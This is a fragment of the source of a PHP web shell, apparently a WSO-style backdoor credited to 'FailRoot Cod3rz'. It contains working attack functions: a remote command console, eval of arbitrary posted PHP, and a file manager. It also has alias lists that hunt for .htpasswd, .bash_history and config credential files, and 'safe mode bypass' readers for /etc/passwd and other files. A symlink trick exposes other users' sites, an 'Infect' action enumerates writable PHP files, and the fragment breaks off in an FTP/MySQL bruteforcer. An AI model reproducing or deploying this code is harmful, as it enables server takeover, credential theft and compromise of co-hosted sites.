			if( !empty($_POST[\'p3\']) ) {
				if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
					echo \'Can\'t rename!<br><script>document.mf.p3.value="";</script>\';
				else
					die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
			}
			echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
			break;
		case \'touch\':
			if( !empty($_POST[\'p3\']) ) {
				$time = strtotime($_POST[\'p3\']);
				if($time) {
					if(@touch($_POST[\'p1\'],$time,$time))
						die(\'<script>g(null,null,null,null,"")</script>\');
					else {
						echo \'Fail!<script>document.mf.p3.value="";</script>\';
					}
				} else echo \'Bad time format!<script>document.mf.p3.value="";</script>\';
			}
			echo \'<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
			break;
		case \'mkfile\':
			
			break;
	}
	echo \'</div>\';
	printFooter();
}
// File tools end ----------------------
// Console go --------------------
if($os == \'win\')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -la",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
		"process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate \'.conf\'",
		"locate .pwd files" => "locate \'.pwd\'",
		"locate .sql files" => "locate \'.sql\'",
		"locate .htpasswd files" => "locate \'.htpasswd\'",
		"locate .bash_history files" => "locate \'.bash_history\'",
		"locate .mysql_history files" => "locate \'.mysql_history\'",
		"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);
	
function actionConsole() {
	if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = true;
        $_POST[\'p1\'] .= \' 2>&1\';
    } elseif(!empty($_POST[\'p1\']))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\'] = 0;
		
	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		echo "document.cf.cmd.value=\'\';
";
		$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS[\'cwd\'] = @getcwd();
				echo "document.mf.c.value=\'".$GLOBALS[\'cwd\']."\';";
			}
		}
		echo "document.cf.output.value+=\'".$temp."\';";
		echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = 0;
	printHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array(\'\');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push(\'\');
	cur = cmds.length-1;
}
</script>";
	echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>\';
	foreach($GLOBALS[\'aliases\'] as $n => $v) {
		if($v == \'\') {
			echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
			continue;
		}
		echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
	}
	
	echo \'</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}else{g(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';
	if(!empty($_POST[\'p1\'])) {
		echo htmlspecialchars("$ ".$_POST[\'p1\']."
".ex($_POST[\'p1\']));
	}
	echo \'</textarea><table style="border:1px solid #000;background-color:#000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';
	echo \'</form></div><script>document.cf.cmd.focus();</script>\';
	printFooter();
}
// Console end --------------------
// PHP -----------------------
function actionPhp() {
	if( isset($_POST[\'ajax\']) ) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		eval($_POST[\'p1\']);
		$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
		echo strlen($temp), "
", $temp;
		exit; 
	}
	printHeader();
	if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {
		echo \'<h1>PHP info</h1><div class=content>\';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
		$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!a:\w+ {.*}!msiU\',\'\',$tmp);
		$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);
		$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
		$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);
		echo $tmp;
		echo \'</div><br>\';
	}
	if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
		echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
	echo \' <input type=checkbox name=ajax value=1 \'.($_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
	if(!empty($_POST[\'p1\'])) {
		ob_start();
		eval($_POST[\'p1\']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo \'</pre></div>\';
	printFooter();
}
// PHP end --------------------
// File manager go --------------------
function actionFilesMan() {
	printHeader();
	echo \'<h1>File manager</h1><div class=content>\';
	if(isset($_POST[\'p1\'])) {
		switch($_POST[\'p1\']) {
			case \'uploadFile\':
				if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
					echo "Can\'t upload file!";
				break;
				break;
			case \'mkdir\':
				if(!@mkdir($_POST[\'p2\']))
					echo "Can\'t create new dir";
				break;
			case \'delete\':
				function deleteDir($path) {
					$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					rmdir($path);
				}
				if(is_array(@$_POST[\'f\']))
					foreach($_POST[\'f\'] as $f) {
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case \'paste\':
				if($_SESSION[\'act\'] == \'copy\') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = opendir($c.$s);
							while (($f = readdir($h)) !== false)
								if (($f != ".") and ($f != "..")) {
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
								}
						} elseif(is_file($c.$s)) {
							@copy($c.$s, $d.$s);
						}
					}
					foreach($_SESSION[\'f\'] as $f)
						copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);					
				} elseif($_SESSION[\'act\'] == \'move\') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = opendir($c.$s);
							while (($f = readdir($h)) !== false)
								if (($f != ".") and ($f != "..")) {
									copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
								}
						} elseif(is_file($c.$s)) {
							@copy($c.$s, $d.$s);
						}
					}
					foreach($_SESSION[\'f\'] as $f)
						@rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
				}
				unset($_SESSION[\'f\']);
				break;
			default:
				if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
					$_SESSION[\'act\'] = @$_POST[\'p1\'];
					$_SESSION[\'f\'] = @$_POST[\'f\'];
					foreach($_SESSION[\'f\'] as $k => $f)
						$_SESSION[\'f\'][$k] = urldecode($f);
					$_SESSION[\'cwd\'] = @$_POST[\'c\'];
				}
				break;
		}
		echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
	}
	$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
	if($dirContent === false) {	echo \'Can\'t open this folder!\'; return;	}
	global $sort;
	$sort = array(\'name\', 1);
	if(!empty($_POST[\'p1\'])) {
		if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
?>
<script>
	function sa() {
		for(i=0;i<document.files.elements.length;i++)
			if(document.files.elements[i].type == \'checkbox\')
				document.files.elements[i].checked = document.files.elements[0].checked;
	}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>
<?php
	echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = $links = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array(\'name\' => $dirContent[$i],
					 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
					 \'modify\' => date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
					 \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
					 \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
					 \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS[\'cwd\'].$dirContent[$i]))
			$files[] = array_merge($tmp, array(\'type\' => \'file\'));
		elseif(@is_link($GLOBALS[\'cwd\'].$dirContent[$i]))
			$links[] = array_merge($tmp, array(\'type\' => \'link\'));
		elseif(@is_dir($GLOBALS[\'cwd\'].$dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
	}
	$GLOBALS[\'sort\'] = $sort;
	function cmp($a, $b) {
		if($GLOBALS[\'sort\'][0] != \'size\')
			return strcmp($a[$GLOBALS[\'sort\'][0]], $b[$GLOBALS[\'sort\'][0]])*($GLOBALS[\'sort\'][1]?1:-1);
		else
			return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
	}
	usort($files, "cmp");
	usort($dirs, "cmp");
	usort($links, "cmp");
	$files = array_merge($dirs, $links, $files);
	$l = 0;
	foreach($files as $f) {
		echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');"><b>[ \'.htmlspecialchars($f[\'name\']).\' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
			.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
		$l = $l?0:1;
	}
	?>
	<tr><td colspan=7>
	<input type=hidden name=a value=\'FilesMan\'>
	<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\'])?>\'>
	<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
	<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option><?php if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])){?><option value=\'paste\'>Paste</option><?php }?></select>&nbsp;<input type="submit" value=">>"></td></tr>
	</form></table></div>
	<?php
	printFooter();
}
// File manager end --------------------
// String tools go --------------------
function actionStringTools() {
	if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
    if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
	if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
	if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
	if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
	$stringTools = array(
		\'Base64 encode\' => \'base64_encode\',
		\'Base64 decode\' => \'base64_decode\',
		\'Url encode\' => \'urlencode\',
		\'Url decode\' => \'urldecode\',
		\'Full urlencode\' => \'full_urlencode\',
		\'md5 hash\' => \'md5\',
		\'sha1 hash\' => \'sha1\',
		\'crypt\' => \'crypt\',
		\'CRC32\' => \'crc32\',
		\'ASCII to HEX\' => \'ascii2hex\',
		\'HEX to ASCII\' => \'hex2ascii\',
		\'HEX to DEC\' => \'hexdec\',
		\'HEX to BIN\' => \'hex2bin\',
		\'DEC to HEX\' => \'dechex\',
		\'DEC to BIN\' => \'decbin\',
		\'BIN to HEX\' => \'binhex\',
		\'BIN to DEC\' => \'bindec\',
		\'String to lower case\' => \'strtolower\',
		\'String to upper case\' => \'strtoupper\',
		\'Htmlspecialchars\' => \'htmlspecialchars\',
		\'String length\' => \'strlen\',
	);
	if(isset($_POST[\'ajax\'])) {
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
		ob_start();
		if(in_array($_POST[\'p1\'], $stringTools))
			echo $_POST[\'p1\']($_POST[\'p2\']);
		$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"

	\\'")."\';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
		$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = 0;
	printHeader();
	echo \'<h1>String conversions</h1><div class=content>\';
	echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
	foreach($stringTools as $k => $v)
		echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
		echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
	if(!empty($_POST[\'p1\'])) {
		if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
	}
	echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>
			<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>
			<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>
			<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>
			<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>
			</table></form>";
	function printRecursiveGlob($path) {
		if(substr($path, -1) != \'/\')
			$path.=\'/\';
		$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));
		if(is_array($paths)&&@count($paths)) {
			foreach($paths as $item) {
				if(@is_dir($item)){
					if($path!=$item)
						printRecursiveGlob($item);
				} else {
					if(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)
						echo "<a href=\'#\' onclick=\'g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")\'>".htmlspecialchars($item)."</a><br>";
				}
			}
		}
	}
	if(@$_POST[\'p3\'])
		printRecursiveGlob($_POST[\'c\']);
	echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method=\'post\' target=\'_blank\' name=\'hf\'>
			<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>
            <input type=\'hidden\' name=\'act\' value=\'find\'/>
			<input type=\'button\' value=\'hashcracking.ru\' onclick=\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'md5.rednoize.com\' onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>
            <input type=\'button\' value=\'fakenamegenerator.com\' onclick=\"document.hf.action=\'http://www.fakenamegenerator.com/\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'hashcrack.com\' onclick=\"document.hf.action=\'http://www.hashcrack.com/index.php\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'tools4noobs.com\' onclick=\"document.hf.action=\'http://www.tools4noobs.com/online_php_functions/\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'md5decrypter.com\' onclick=\"document.hf.action=\'http://www.md5decrypter.com/\';document.hf.submit()\"><br>
			<input type=\'button\' value=\'artlebedev.ru\' onclick=\"document.hf.action=\'https://www.artlebedev.ru/tools/decoder/\';document.hf.submit()\"><br>
		</form></div>";
	printFooter();
}
// String tools end --------------------
// Safe mode go ------------------------
function actionSafeMode() {
	$temp=\'\';
	ob_start();
	switch($_POST[\'p1\']) {
		case 1:
			$temp=@tempnam($test, \'cx\');
			if(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){
				echo @file_get_contents($temp);
				unlink($temp);
			} else
				echo \'Sorry... Can\'t open file\';
			break;
		case 2:
			$files = glob($_POST[\'p2\'].\'*\');
			if( is_array($files) )
				foreach ($files as $filename)
					echo $filename."
";
			break;
		case 3:
			$ch = curl_init("file://".$_POST[\'p2\']."".SELF_PATH);
			curl_exec($ch);
			break;
		case 4:
			ini_restore("safe_mode");
			ini_restore("open_basedir");
			include($_POST[\'p2\']);
			break;
		case 5:
			for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {
				$uid = @posix_getpwuid($_POST[\'p2\']);
				if ($uid)
					echo join(\':\',$uid)."
";
			}
			break;
		case 6:
			if(!function_exists(\'imap_open\'))break;
			$stream = imap_open($_POST[\'p2\'], "", "");
			if ($stream == FALSE)
				break;
			echo imap_body($stream, 1);
			imap_close($stream);
			break;
	}
	$temp = ob_get_clean();
	printHeader();
	echo \'<h1>Safe mode bypass</h1><div class=content>\';
	echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>\';
	if($temp)
		echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';
	echo \'</div>\';
	printFooter();
}
// Safe mode end ---------------------
// Logout go -------------------------
function actionLogout() {
	unset($_SESSION[md5($_SERVER[\'HTTP_HOST\'])]);
	echo \'bye!\';
}
// Logout end -------------------------
// Suicide go -------------------------
function actionSelfRemove() {
	printHeader();
	if($_POST[\'p1\'] == \'yes\') {
		if(@unlink(SELF_PATH))
			die(\'Shell has been removed\');
		else
			echo \'unlink error!\';
	}
	echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
	printFooter();
}
// Suicide end -------------------------
function actionTools() {
	printHeader();
	
		printFooter();
}
// Domains go -------------------------
function actionDomains() {
	printHeader();
	error_reporting(0);
echo "<title>#Domains & Users</title>";
mkdir("sym");
symlink("/","0/x.txt");
$c  = "Options Indexes FollowSymLinks 
 DirectoryIndex ssssss.htm 
 AddType txt .php 
 AddHandler txt .php 
  AddType txt .html 
 AddHandler txt .html 
 Options all 
 Options 
 Allow from all 
 Require None 
 Satisfy Any";
$f = fopen (\'sym/.htaccess\',\'w\');
 fwrite($f , $c);
 
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
echo "<table align=center border=1>
<tr bgcolor=teal><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user[\'name\']."</td><td><a href=\'sym/x.txt/home/".$user[\'name\']."/public_html\'>Miremos</a></td></tr>"; flush();
}}}
echo "</table> 
<p align=\'center\'> 
FailRoot\'Cod3rz <a href=\'http://failroot.wordpress.com/\'>FailRoot-Sec.Com</a> | <a  
href=\'http://wWw.sEc4EvEr.CoM/\'>wWw.sEc4EvEr.CoM</a><br> 
</p> 
"; 
	printFooter();
}
// Domains end -----------------------
// Infect go -------------------------
function actionInfect() {
	printHeader();
	echo \'<h1>Infect</h1><div class=content>\';
	if($_POST[\'p1\'] == \'infect\') {
		$target=$_SERVER[\'DOCUMENT_ROOT\'];
			function ListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file != "." && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files); 
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=red size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>\';
		}
	printFooter();
}
// Infect end -----------------------
// Bruteforce go --------------------
function actionBruteforce() {
	printHeader();
	if( isset($_POST[\'proto\']) ) {
		echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
		if( $_POST[\'proto\'] == \'ftp\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST[\'proto\'] == \'mysql\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
				@mysql_close($res);
				return $res;
			}
